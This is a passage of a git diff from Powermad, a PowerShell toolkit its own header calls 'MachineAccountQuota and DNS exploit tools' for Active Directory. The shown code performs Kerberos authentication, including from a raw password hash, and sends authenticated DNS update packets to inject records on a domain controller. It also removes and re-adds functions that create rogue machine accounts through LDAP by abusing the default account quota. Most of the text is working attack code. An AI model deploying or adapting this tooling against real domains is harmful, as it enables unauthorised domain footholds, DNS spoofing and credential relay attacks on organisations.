format error 0x" + $DNS_response_flags)} + 'A802' {$DNS_update_response_status = ("[-] failed to complete 0x" + $DNS_response_flags)} + 'A804' {$DNS_update_response_status = ("[-] not implemented 0x" + $DNS_response_flags)} + 'A805' {$DNS_update_response_status = ("[-] update refused 0x" + $DNS_response_flags)} + Default {$DNS_update_response_status = ("[-] DNS update was not successful 0x" + $DNS_response_flags)} + } + + return $DNS_update_response_status + } - if($kerberos_tcpclient) + if($RecordCheck) { - $kerberos_client = New-Object System.Net.Sockets.TCPClient - $kerberos_client.Client.ReceiveTimeout = 3000 - $domain_controller = [System.Text.Encoding]::UTF8.GetBytes($DomainController) - $kerberos_username = [System.Text.Encoding]::UTF8.GetBytes($Username) - $kerberos_realm = [System.Text.Encoding]::UTF8.GetBytes($Realm) + + if($DNSType -ne 'MX' -and $DNSName -notlike '*.*') + { + $query_name = $DNSName + "." + $Zone + } + else + { + $query_name = $DNSName + } + + $DNS_client = New-Object System.Net.Sockets.TCPClient + $DNS_client.Client.ReceiveTimeout = 3000 try { - $kerberos_client.Connect($DomainController,"88") + $DNS_client.Connect($DomainController,"53") + $DNS_client_stream = $DNS_client.GetStream() + $DNS_client_receive = New-Object System.Byte[] 2048 + $packet_DNSQuery = New-PacketDNSQuery $query_name $DNSType + [Byte[]]$DNS_client_send = ConvertFrom-PacketOrderedDictionary $packet_DNSQuery + $DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null + $DNS_client_stream.Flush() + $DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null + $DNS_client.Close() + $DNS_client_stream.Close() + + if($DNS_client_receive[9] -ne 0) + { + $DNS_record_exists = $true + Write-Output "[-] $DNSName of record type $DNSType already exists" + } + } catch { - Write-Output "$DomainController did not respond on TCP port 88" + Write-Output "[-] $DomainController did not respond on TCP port 53" } } - if(!$kerberos_tcpclient -or $kerberos_client.Connected) + if(!$RecordCheck -or ($RecordCheck -and !$DNS_record_exists)) { + $DNS_client = New-Object System.Net.Sockets.TCPClient + $DNS_client.Client.ReceiveTimeout = 3000 - if($kerberos_tcpclient) + if($Security -ne 'Secure') { - if($Hash) + try { - $base_key = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" - $base_key = $base_key.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $DNS_client.Connect($DomainController,"53") } - else + catch { - $base_key = Get-KerberosAES256BaseKey $salt $password + Write-Output "$DomainController did not respond on TCP port 53" + } + + if($DNS_client.Connected) + { + $DNS_client_stream = $DNS_client.GetStream() + $DNS_client_receive = New-Object System.Byte[] 2048 + [Byte[]]$transaction_id = New-RandomByteArray 2 + $packet_DNSUpdate = New-PacketDNSUpdate $transaction_ID $Zone $DNSName $DNSType $DNSTTL $DNSPreference $DNSPriority $DNSWeight $DNSPort $DNSData + [Byte[]]$DNSUpdate = ConvertFrom-PacketOrderedDictionary $packet_DNSUpdate + $DNS_client_send = $DNSUpdate + $DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null + $DNS_client_stream.Flush() + $DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null + $DNS_update_response_status = Get-DNSUpdateResponseStatus $DNS_client_receive + Write-Output $DNS_update_response_status + $DNS_client.Close() + $DNS_client_stream.Close() } - $ke_key = Get-KerberosAES256UsageKey encrypt 1 $base_key - $ki_key = Get-KerberosAES256UsageKey integrity 1 $base_key - $nonce = New-RandomByteArray 4 - $kerberos_client_stream = $kerberos_client.GetStream() - $kerberos_client_receive = New-Object System.Byte[] 2048 - $packet_AS_REQ = New-PacketKerberosASREQ $kerberos_username $kerberos_realm $domain_controller $nonce - $AS_REQ = ConvertFrom-PacketOrderedDictionary $packet_AS_REQ - $kerberos_client_send = $AS_REQ - $kerberos_client_stream.Write($kerberos_client_send,0,$kerberos_client_send.Length) > $null - $kerberos_client_stream.Flush() - $kerberos_client_stream.Read($kerberos_client_receive,0,$kerberos_client_receive.Length) > $null - [Byte[]]$PAC_Timestamp = New-KerberosPACTimestamp $ke_key - [Byte[]]$PAC_ENC_Timestamp = Protect-KerberosAES256CTS $ke_key $PAC_Timestamp - [Byte[]]$PAC_Timestamp_Signature = Get-KerberosHMACSHA1 $ki_key $PAC_Timestamp - $packet_AS_REQ = New-PacketKerberosASREQ $kerberos_username $kerberos_realm $domain_controller $nonce $PAC_ENC_Timestamp $PAC_Timestamp_Signature - $AS_REQ = ConvertFrom-PacketOrderedDictionary $packet_AS_REQ - $kerberos_client_send = $AS_REQ - $kerberos_client_stream.Write($kerberos_client_send,0,$kerberos_client_send.Length) > $null - $kerberos_client_stream.Flush() - $kerberos_client_stream.Read($kerberos_client_receive,0,$kerberos_client_receive.Length) > $null - $asrep_payload = [System.BitConverter]::ToString($kerberos_client_receive) - $asrep_payload = $asrep_payload -replace "-","" - $kerberos_client.Close() - $kerberos_client_stream.Close() } - else + + if($Security -eq 'Secure' -or ($Security -eq 'Auto' -and $DNS_update_response_status -like '*0xA805')) { - - try - { + $tkey = "6" + ((0..9) | Get-Random -Count 2) + "-ms-7.1-" + ((0..9) | Get-Random -Count 4) + "." + ((0..9) | Get-Random -Count 8) + + "-" + ((0..9) | Get-Random -Count 4) + "-11e7-" + ((0..9) | Get-Random -Count 4) + "-000c296694e0" + $tkey = $tkey -replace " ","" + Write-Verbose "[+] TKEY name $tkey" + [Byte[]]$tkey_name = [System.Text.Encoding]::UTF8.GetBytes($tkey) + $tkey_name = [Byte[]]0x08 + $tkey_name + 0x00 + $tkey_name[9] = 0x06 + $tkey_name[16] = 0x24 - $Null = [System.Reflection.Assembly]::LoadWithPartialName("System.IdentityModel") + if($kerberos_tcpclient) + { + $kerberos_client = New-Object System.Net.Sockets.TCPClient + $kerberos_client.Client.ReceiveTimeout = 3000 + $domain_controller = [System.Text.Encoding]::UTF8.GetBytes($DomainController) + $kerberos_username = [System.Text.Encoding]::UTF8.GetBytes($Username) + $kerberos_realm = [System.Text.Encoding]::UTF8.GetBytes($Realm) - if($username) + try { - $creds = New-Object System.Management.Automation.PSCredential ($username,$Password) - $network_creds = $creds.GetNetworkCredential() - $network_creds.Domain = $domain - $token = New-Object System.IdentityModel.Selectors.KerberosSecurityTokenProvider ("DNS/$DomainController",[System.Security.Principal.TokenImpersonationLevel]::Impersonation,$network_creds) - $ticket = $token.GetToken([System.TimeSpan]::FromMinutes(1)) + $kerberos_client.Connect($DomainController,"88") } - else + catch { - $ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken ("DNS/$DomainController") + Write-Output "$DomainController did not respond on TCP port 88" } - $asrep_key = $ticket.SecurityKey.GetSymmetricKey() - $kerberos_client_receive = $Ticket.GetRequest() - $asrep_payload = [System.BitConverter]::ToString($kerberos_client_receive) - $asrep_payload = $asrep_payload -replace "-","" - } - catch - { - $auth_success = $false } - } - - if($asrep_key -or ($asrep_payload.Length -gt 0 -and $asrep_payload -like '*A003020105A10302010B*')) - { - Write-Verbose "[+] Kerberos preauthentication successful" - $auth_success = $true - } - elseif($asrep_payload.Length -gt 0 -and $asrep_payload -like '*A003020105A10302011E*') - { - Write-Output ("[-] Kerberos preauthentication error 0x" + $asrep_payload.Substring(96,2)) - $auth_success = $false - } - else - { - Write-Output "[-] Kerberos authentication failure" - $auth_success = $false - } - - if($auth_success) - { - $ticket_index = $asrep_payload.IndexOf("A003020112A1030201") - $ticket_kvno = $kerberos_client_receive[($ticket_index / 2 + 9)] - - if($asrep_payload.Substring($ticket_index + 22,2) -eq '82') - { - $ticket_length = ([System.BitConverter]::ToUInt16($kerberos_client_receive[($ticket_index / 2 + 13)..($ticket_index / 2 + 12)],0)) - 4 - } - else + if(!$kerberos_tcpclient -or $kerberos_client.Connected) { - $ticket_length = $kerberos_client_receive[($ticket_index / 2 + 12)] - 3 - } - $ticket = $Kerberos_client_receive[($ticket_index / 2 + 18)..($ticket_index/2 + 17 + $ticket_length)] + if($kerberos_tcpclient) + { - if($kerberos_tcpclient) - { - $cipher_index = $asrep_payload.Substring($ticket_index + 1).IndexOf("A003020112A1030201") + $ticket_index + 1 + if($Hash) + { + $base_key = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" + $base_key = $base_key.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + } + else + { + $base_key = Get-KerberosAES256BaseKey $salt $password + } - if($asrep_payload.Substring($cipher_index + 22,2) -eq '82') - { - $cipher_length = ([System.BitConverter]::ToUInt16($kerberos_client_receive[($cipher_index / 2 + 13)..($cipher_index / 2 + 12)],0)) - 4 + $ke_key = Get-KerberosAES256UsageKey encrypt 1 $base_key + $ki_key = Get-KerberosAES256UsageKey integrity 1 $base_key + $nonce = New-RandomByteArray 4 + $kerberos_client_stream = $kerberos_client.GetStream() + $kerberos_client_receive = New-Object System.Byte[] 2048 + $packet_AS_REQ = New-PacketKerberosASREQ $kerberos_username $kerberos_realm $domain_controller $nonce + $AS_REQ = ConvertFrom-PacketOrderedDictionary $packet_AS_REQ + $kerberos_client_send = $AS_REQ + $kerberos_client_stream.Write($kerberos_client_send,0,$kerberos_client_send.Length) > $null + $kerberos_client_stream.Flush() + $kerberos_client_stream.Read($kerberos_client_receive,0,$kerberos_client_receive.Length) > $null + [Byte[]]$PAC_Timestamp = New-KerberosPACTimestamp $ke_key + [Byte[]]$PAC_ENC_Timestamp = Protect-KerberosAES256CTS $ke_key $PAC_Timestamp + [Byte[]]$PAC_Timestamp_Signature = Get-KerberosHMACSHA1 $ki_key $PAC_Timestamp + $packet_AS_REQ = New-PacketKerberosASREQ $kerberos_username $kerberos_realm $domain_controller $nonce $PAC_ENC_Timestamp $PAC_Timestamp_Signature + $AS_REQ = ConvertFrom-PacketOrderedDictionary $packet_AS_REQ + $kerberos_client_send = $AS_REQ + $kerberos_client_stream.Write($kerberos_client_send,0,$kerberos_client_send.Length) > $null + $kerberos_client_stream.Flush() + $kerberos_client_stream.Read($kerberos_client_receive,0,$kerberos_client_receive.Length) > $null + $asrep_payload = [System.BitConverter]::ToString($kerberos_client_receive) + $asrep_payload = $asrep_payload -replace "-","" + $kerberos_client.Close() + $kerberos_client_stream.Close() } else { - $cipher_length = $kerberos_client_receive[($cipher_length / 2 + 12)] - 3 - } + + try + { - $cipher = $kerberos_client_receive[($cipher_index / 2 + 18)..($cipher_index / 2 + 17 + $cipher_length)] - $ke_key = Get-KerberosAES256UsageKey encrypt 3 $base_key - $asrep_cleartext = Unprotect-KerberosASREP $ke_key $cipher[0..($cipher.Count - 13)] - $kerberos_session_key = $asrep_cleartext[37..68] - $ke_key = Get-KerberosAES256UsageKey encrypt 11 $kerberos_session_key - $ki_key = Get-KerberosAES256UsageKey integrity 11 $kerberos_session_key - [Byte[]]$subkey = New-RandomByteArray 32 - [Byte[]]$sequence_number = New-RandomByteArray 4 - $packet_authenticator = New-KerberosAuthenticator $kerberos_realm $kerberos_username $subkey $sequence_number - [Byte[]]$authenticator = ConvertFrom-PacketOrderedDictionary $packet_authenticator - $authenticator = (New-RandomByteArray 16) + $authenticator - $authenticator_encrypted = Protect-KerberosAES256CTS $ke_key $authenticator - $authenticator_signature = Get-KerberosHMACSHA1 $ki_key $authenticator - $packet_apreq = New-PacketKerberosAPREQ $kerberos_realm $domain_controller $ticket_kvno $ticket $authenticator_encrypted $authenticator_signature - [Byte[]]$apreq = ConvertFrom-PacketOrderedDictionary $packet_apreq - [Byte[]]$mac_flags = 0x04 - } - else - { - [Byte[]]$apreq = $kerberos_client_receive - [Byte[]]$mac_flags = 0x00 - } - - $packet_DNSQueryTKEY = New-PacketDNSQueryTKEY $tkey_name $apreq - $DNSQueryTKEY = ConvertFrom-PacketOrderedDictionary $packet_DNSQueryTKEY - $DNS_client = New-Object System.Net.Sockets.TCPClient - $DNS_client.Client.ReceiveTimeout = 3000 + $Null = [System.Reflection.Assembly]::LoadWithPartialName("System.IdentityModel") + + if($username -or $Credential) + { + + if(!$Credential) + { + $Credential = New-Object System.Management.Automation.PSCredential ($username,$Password) + } + + $network_creds = $Credential.GetNetworkCredential() + $network_creds.Domain = $domain + $token = New-Object System.IdentityModel.Selectors.KerberosSecurityTokenProvider ("DNS/$DomainController",[System.Security.Principal.TokenImpersonationLevel]::Impersonation,$network_creds) + $ticket = $token.GetToken([System.TimeSpan]::FromMinutes(1)) + } + else + { + $ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken ("DNS/$DomainController") + } + + $asrep_key = $ticket.SecurityKey.GetSymmetricKey() + $kerberos_client_receive = $Ticket.GetRequest() + $asrep_payload = [System.BitConverter]::ToString($kerberos_client_receive) + $asrep_payload = $asrep_payload -replace "-","" + } + catch + { + $auth_success = $false + } - try - { - $DNS_client.Connect($DomainController,"53") - } - catch - { - Write-Output "$DomainController did not respond on TCP port 53" - } + } - if($DNS_client.Connected) - { - $DNS_client_stream = $DNS_client.GetStream() - $DNS_client_receive = New-Object System.Byte[] 2048 - $DNS_client_send = $DNSQueryTKEY - $DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null - $DNS_client_stream.Flush() - $DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null - $tkey_payload = [System.BitConverter]::ToString($DNS_client_receive) - $tkey_payload = $tkey_payload -replace "-","" - - if($tkey_payload.Substring(8,4) -eq '8000') + if($asrep_key -or ($asrep_payload.Length -gt 0 -and $asrep_payload -like '*A003020105A10302010B*')) + { + Write-Verbose "[+] Kerberos preauthentication successful" + $auth_success = $true + } + elseif($asrep_payload.Length -gt 0 -and $asrep_payload -like '*A003020105A10302011E*') { - Write-Verbose "[+] Kerberos TKEY query successful" - $TKEY_success = $true + Write-Output ("[-] Kerberos preauthentication error 0x" + $asrep_payload.Substring(96,2)) + $auth_success = $false } else { - Write-Output ("[-] Kerberos TKEY query error 0x" + $tkey_payload.Substring(8,4)) - $TKEY_success = $false + Write-Output "[-] Kerberos authentication failure" + $auth_success = $false } - if($TKEY_success) + if($auth_success) { + $ticket_index = $asrep_payload.IndexOf("A003020112A1030201") + $ticket_kvno = $kerberos_client_receive[($ticket_index / 2 + 9)] + + if($asrep_payload.Substring($ticket_index + 22,2) -eq '82') + { + $ticket_length = ([System.BitConverter]::ToUInt16($kerberos_client_receive[($ticket_index / 2 + 13)..($ticket_index / 2 + 12)],0)) - 4 + } + else + { + $ticket_length = $kerberos_client_receive[($ticket_index / 2 + 12)] - 3 + } + + $ticket = $Kerberos_client_receive[($ticket_index / 2 + 18)..($ticket_index/2 + 17 + $ticket_length)] if($kerberos_tcpclient) { - $cipher_index = $tkey_payload.IndexOf("A003020112A2") - $cipher_length = $DNS_client_receive[($cipher_index / 2 + 8)] - $cipher = $DNS_client_receive[($cipher_index / 2 + 9)..($cipher_index / 2 + 8 + $cipher_length)] - $ke_key = Get-KerberosAES256UsageKey encrypt 12 $kerberos_session_key - $tkey_cleartext = Unprotect-KerberosASREP $ke_key $cipher[0..($cipher.Count - 13)] - $acceptor_subkey = $tkey_cleartext[59..90] + $cipher_index = $asrep_payload.Substring($ticket_index + 1).IndexOf("A003020112A1030201") + $ticket_index + 1 + + if($asrep_payload.Substring($cipher_index + 22,2) -eq '82') + { + $cipher_length = ([System.BitConverter]::ToUInt16($kerberos_client_receive[($cipher_index / 2 + 13)..($cipher_index / 2 + 12)],0)) - 4 + } + else + { + $cipher_length = $kerberos_client_receive[($cipher_length / 2 + 12)] - 3 + } + + $cipher = $kerberos_client_receive[($cipher_index / 2 + 18)..($cipher_index / 2 + 17 + $cipher_length)] + $ke_key = Get-KerberosAES256UsageKey encrypt 3 $base_key + $asrep_cleartext = Unprotect-KerberosASREP $ke_key $cipher[0..($cipher.Count - 13)] + $kerberos_session_key = $asrep_cleartext[37..68] + $ke_key = Get-KerberosAES256UsageKey encrypt 11 $kerberos_session_key + $ki_key = Get-KerberosAES256UsageKey integrity 11 $kerberos_session_key + [Byte[]]$subkey = New-RandomByteArray 32 + [Byte[]]$sequence_number = New-RandomByteArray 4 + $packet_authenticator = New-KerberosAuthenticator $kerberos_realm $kerberos_username $subkey $sequence_number + [Byte[]]$authenticator = ConvertFrom-PacketOrderedDictionary $packet_authenticator + $authenticator = (New-RandomByteArray 16) + $authenticator + $authenticator_encrypted = Protect-KerberosAES256CTS $ke_key $authenticator + $authenticator_signature = Get-KerberosHMACSHA1 $ki_key $authenticator + $packet_apreq = New-PacketKerberosAPREQ $kerberos_realm $domain_controller $ticket_kvno $ticket $authenticator_encrypted $authenticator_signature + [Byte[]]$apreq = ConvertFrom-PacketOrderedDictionary $packet_apreq + [Byte[]]$mac_flags = 0x04 } else { - $sequence_index = $tkey_payload.IndexOf("FFFFFFFFFF00000000") - $sequence_number = $DNS_client_receive[($sequence_index / 2 + 9)..($sequence_index / 2 + 12)] - $acceptor_subkey = $asrep_key + [Byte[]]$apreq = $kerberos_client_receive + [Byte[]]$mac_flags = 0x00 } + + $packet_DNSQuery = New-PacketDNSQueryTKEY $tkey_name 0x00,0xf9 $apreq + $DNSQueryTKEY = ConvertFrom-PacketOrderedDictionary $packet_DNSQuery + $DNS_client = New-Object System.Net.Sockets.TCPClient + $DNS_client.Client.ReceiveTimeout = 3000 - $kc_key = Get-KerberosAES256UsageKey checksum 25 $acceptor_subkey - $time_signed = [Int](([DateTime]::UtcNow)-(Get-Date "1/1/1970")).TotalSeconds - $time_signed = [System.BitConverter]::GetBytes($time_signed) - $time_signed = 0x00,0x00 + $time_signed[3..0] - [Byte[]]$transaction_id = New-RandomByteArray 2 - $packet_DNSUpdateTSIG = New-PacketDNSUpdateTSIG $transaction_ID $DNSZone $DNSName $DNSType $DNSTTL $DNSPreference $DNSPriority $DNSWeight $DNSPort $DNSData $time_signed $tkey_name - [Byte[]]$DNSUpdateTSIG = ConvertFrom-PacketOrderedDictionary $packet_DNSUpdateTSIG - $packet_DNSUpdateMAC = New-PacketDNSUpdateMAC $mac_flags $sequence_number - [Byte[]]$DNSUpdateMAC = ConvertFrom-PacketOrderedDictionary $packet_DNSUpdateMAC - $DNSUpdateTSIG += $DNSUpdateMAC - $checksum = Get-KerberosHMACSHA1 $kc_key $DNSUpdateTSIG - $packet_DNSUpdateMAC = New-PacketDNSUpdateMAC $mac_flags $sequence_number $checksum - [Byte[]]$DNSUpdateMAC = ConvertFrom-PacketOrderedDictionary $packet_DNSUpdateMAC - $packet_DNSUpdateTSIG = New-PacketDNSUpdateTSIG $transaction_ID $DNSZone $DNSName $DNSType $DNSTTL $DNSPreference $DNSPriority $DNSWeight $DNSPort $DNSData $time_signed $tkey_name $DNSUpdateMAC - [Byte[]]$DNSUpdateTSIG = ConvertFrom-PacketOrderedDictionary $packet_DNSUpdateTSIG - $DNS_client_send = $DNSUpdateTSIG - $DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null - $DNS_client_stream.Flush() - $DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null - $DNS_response_flags = [System.BitConverter]::ToString($DNS_client_receive[4..5]) - $DNS_response_flags = $DNS_response_flags -replace "-","" - - switch ($DNS_response_flags) + try { - 'A800' {Write-Output "[+] DNS update successful"} - 'A801' {Write-Output ("[-] format error 0x" + $DNS_response_flags)} - 'A802' {Write-Output ("[-] failed to complete 0x" + $DNS_response_flags)} - 'A804' {Write-Output ("[-] not implemented 0x" + $DNS_response_flags)} - 'A805' {Write-Output ("[-] update refused 0x" + $DNS_response_flags)} - Default {Write-Output ("[-] DNS update was not successful 0x" + $DNS_response_flags)} + $DNS_client.Connect($DomainController,"53") + } + catch + { + Write-Output "$DomainController did not respond on TCP port 53" + } + + if($DNS_client.Connected) + { + $DNS_client_stream = $DNS_client.GetStream() + $DNS_client_receive = New-Object System.Byte[] 2048 + $DNS_client_send = $DNSQueryTKEY + $DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null + $DNS_client_stream.Flush() + $DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null + $tkey_payload = [System.BitConverter]::ToString($DNS_client_receive) + $tkey_payload = $tkey_payload -replace "-","" + + if($tkey_payload.Substring(8,4) -eq '8000') + { + Write-Verbose "[+] Kerberos TKEY query successful" + $TKEY_success = $true + } + else + { + Write-Output ("[-] Kerberos TKEY query error 0x" + $tkey_payload.Substring(8,4)) + $TKEY_success = $false + } + + if($TKEY_success) + { + + if($kerberos_tcpclient) + { + $cipher_index = $tkey_payload.IndexOf("A003020112A2") + $cipher_length = $DNS_client_receive[($cipher_index / 2 + 8)] + $cipher = $DNS_client_receive[($cipher_index / 2 + 9)..($cipher_index / 2 + 8 + $cipher_length)] + $ke_key = Get-KerberosAES256UsageKey encrypt 12 $kerberos_session_key + $tkey_cleartext = Unprotect-KerberosASREP $ke_key $cipher[0..($cipher.Count - 13)] + $acceptor_subkey = $tkey_cleartext[59..90] + } + else + { + $sequence_index = $tkey_payload.IndexOf("FFFFFFFFFF00000000") + $sequence_number = $DNS_client_receive[($sequence_index / 2 + 9)..($sequence_index / 2 + 12)] + $acceptor_subkey = $asrep_key + } + + $kc_key = Get-KerberosAES256UsageKey checksum 25 $acceptor_subkey + $time_signed = [Int](([DateTime]::UtcNow)-(Get-Date "1/1/1970")).TotalSeconds + $time_signed = [System.BitConverter]::GetBytes($time_signed) + $time_signed = 0x00,0x00 + $time_signed[3..0] + [Byte[]]$transaction_id = New-RandomByteArray 2 + $packet_DNSUpdate = New-PacketDNSUpdate $transaction_ID $Zone $DNSName $DNSType $DNSTTL $DNSPreference $DNSPriority $DNSWeight $DNSPort $DNSData $time_signed $tkey_name + [Byte[]]$DNSUpdateTSIG = ConvertFrom-PacketOrderedDictionary $packet_DNSUpdate + $packet_DNSUpdateMAC = New-PacketDNSUpdateMAC $mac_flags $sequence_number + [Byte[]]$DNSUpdateMAC = ConvertFrom-PacketOrderedDictionary $packet_DNSUpdateMAC + $DNSUpdateTSIG += $DNSUpdateMAC + $checksum = Get-KerberosHMACSHA1 $kc_key $DNSUpdateTSIG + $packet_DNSUpdateMAC = New-PacketDNSUpdateMAC $mac_flags $sequence_number $checksum + [Byte[]]$DNSUpdateMAC = ConvertFrom-PacketOrderedDictionary $packet_DNSUpdateMAC + $packet_DNSUpdate = New-PacketDNSUpdate $transaction_ID $Zone $DNSName $DNSType $DNSTTL $DNSPreference $DNSPriority $DNSWeight $DNSPort $DNSData $time_signed $tkey_name $DNSUpdateMAC + [Byte[]]$DNSUpdateTSIG = ConvertFrom-PacketOrderedDictionary $packet_DNSUpdate + $DNS_client_send = $DNSUpdateTSIG + $DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null + $DNS_client_stream.Flush() + $DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null + $DNS_update_response_status = Get-DNSUpdateResponseStatus $DNS_client_receive + Write-Output $DNS_update_response_status + $DNS_client.Close() + $DNS_client_stream.Close() + } + } - $DNS_client.Close() - $DNS_client_stream.Close() } } diff --git a/New-MachineAccount.ps1 b/New-MachineAccount.ps1 deleted file mode 100644 index ba86524..0000000 --- a/New-MachineAccount.ps1 +++ /dev/null @@ -1,171 +0,0 @@ -function New-MachineAccount -{ - <# - .SYNOPSIS - This function adds a machine account with a specified password to Active Directory through an encrypted LDAP - add request. By default standard domain users can add up to 10 systems to AD (see ms-DS-MachineAccountQuota). - - Author: Kevin Robertson (@kevin_robertson) - License: BSD 3-Clause - - .DESCRIPTION - The main purpose of this function is to leverage the default ms-DS-MachineAccountQuota attribute setting which - allows all domain users to add up to 10 computers to a domain. The machine account and HOST SPNs are added - directly through an LDAP connection to a domain controller and not by attaching the host system to Active - Directory. This function does not modify the domain attachment and machine account associated with the host - system. - - Note that you will not be able to remove the account without elevating privilege. - - .PARAMETER Credential - Credentials for adding the machine account. Note that machine accounts can also add machine accounts. - - .PARAMETER Domain - The targeted domain. - - .PARAMETER DomainController - Domain controller to target in FQDN format. - - .PARAMETER DistinguishedName - Distinguished name for the computers OU. - - .PARAMETER MachineAccount - The username of the machine account that will be added. - - .PARAMETER Password - The securestring of the password for the machine account. - - .EXAMPLE - New-MachineAccount -MachineAccount iamapc - Add a machine account with the current user's session. - - .EXAMPLE - $user_account_creds = Get-Credential - New-MachineAccount -MachineName iamapc -Credential $user_account_creds - Add a machine account with creds from another user. - - .EXAMPLE - $machine_account_password = ConvertTo-SecureString 'Summer2017!' -AsPlainText -Force - $user_account_password = ConvertTo-SecureString 'Spring2017!' -AsPlainText -Force - $user_account_creds = New-Object System.Management.Automation.PSCredential('domain\user',$user_account_password) - New-MachineAccount -MachineName iamapc -Password $machine_account_password -Credential $user_account_creds - Add a machine account with creds from another user and also avoid the machine account password prompt. - - .LINK - https://github.com/Kevin-Robertson/Powermad - #> - - [CmdletBinding()] - param - ( - [parameter(Mandatory=$false)][String]$DistinguishedName, - [parameter(Mandatory=$false)][String]$Domain, - [parameter(Mandatory=$false)][String]$DomainController, - [parameter(Mandatory=$true)][String]$MachineAccount, - [parameter(Mandatory=$false)][System.Security.SecureString]$Password, - [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential - ) - - $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") - - if(!$Password) - { - $password = Read-Host -Prompt "Enter a password for the new machine account" -AsSecureString - } - - $password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password) - $password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR) - - if(!$DomainController) - { - - try - { - $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() - $DomainController = $current_domain.DomainControllers[0].Name - $domain = $current_domain.Name - } - catch - { - Write-Output "[-] domain controller not located" - throw - } - - } - - if(!$Domain) - { - $domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Name - } - - $domain = $domain.ToLower() - $machine_account = $MachineAccount - - if($MachineAccount.EndsWith('$')) - { - $sam_account = $MachineAccount - $machine_account = $machine_account.SubString(0,$machine_account.Length - 1) - } - else - { - $sam_account = $machine_account + "$" - } - - Write-Verbose "[+] SAMAccountName=$sam_account" - - if(!$DistinguishedName) - { - - $distinguished_name = "CN=$machine_account,CN=Computers" - - $DCArray = $Domain.Split(".") - - ForEach($DC in $DCArray) - { - $distinguished_name += ",DC=$DC" - } - - } - else - { - $distinguished_name = "$DistinguishedName" - } - - Write-Verbose $distinguished_name - $password_cleartext = [System.Text.Encoding]::Unicode.GetBytes('"' + $password_cleartext + '"') - $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389) - - if($Credential) - { - $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential()) - } - else - { - $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier) - } - - $connection.SessionOptions.Sealing = $true - $connection.SessionOptions.Signing = $true - $connection.Bind() - $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest - $request.DistinguishedName = $distinguished_name - $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass","Computer")) > $null - $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "SamAccountName",$sam_account)) > $null - $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "userAccountControl","4096")) > $null - $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "DnsHostName","$machine_account.$Domain")) > $null - $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "ServicePrincipalName","HOST/$machine_account.$Domain", - "RestrictedKrbHost/$machine_account.$Domain","HOST/$machine_account","RestrictedKrbHost/$machine_account")) > $null - $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "unicodePwd",$password_cleartext)) > $null - Remove-Variable password_cleartext - - try - { - $connection.SendRequest($request) > $null - Write-Output "[+] machine account $machine_account added" - } - catch - { - Write-Output "[-] something went wrong" - } - -}
\ No newline at end of file diff --git a/Powermad.ps1 b/Powermad.ps1 new file mode 100644 index 0000000..6a7f50e --- /dev/null +++ b/Powermad.ps1 @@ -0,0 +1,3944 @@ +<# +Powermad - PowerShell MachineAccountQuota and DNS exploit tools +Author: Kevin Robertson (@kevin_robertson) +License: BSD 3-Clause +https://github.com/Kevin-Robertson/Powermad +#> + +#region begin MachineAccountQuota Functions + +function Disable-MachineAccount +{ + <# + .SYNOPSIS + This function disables a machine account that was added through New-MachineAccount. This function should be + used with the same user that created the machine account. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + Machine accounts added with New-MachineAccount cannot be deleted with an unprivileged user. Although users + can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is + just left in a disabled state. This function provides that ability by setting the AccountDisabled to true. + Ideally, the account is removed after elevating privilege. + + .PARAMETER Credential + PSCredential object that will be used to disable the machine account. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER MachineAccount + The username of the machine account that will be disabled. + + .EXAMPLE + Disable a machine account named test. + Disable-MachineAccount -MachineAccount test + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, 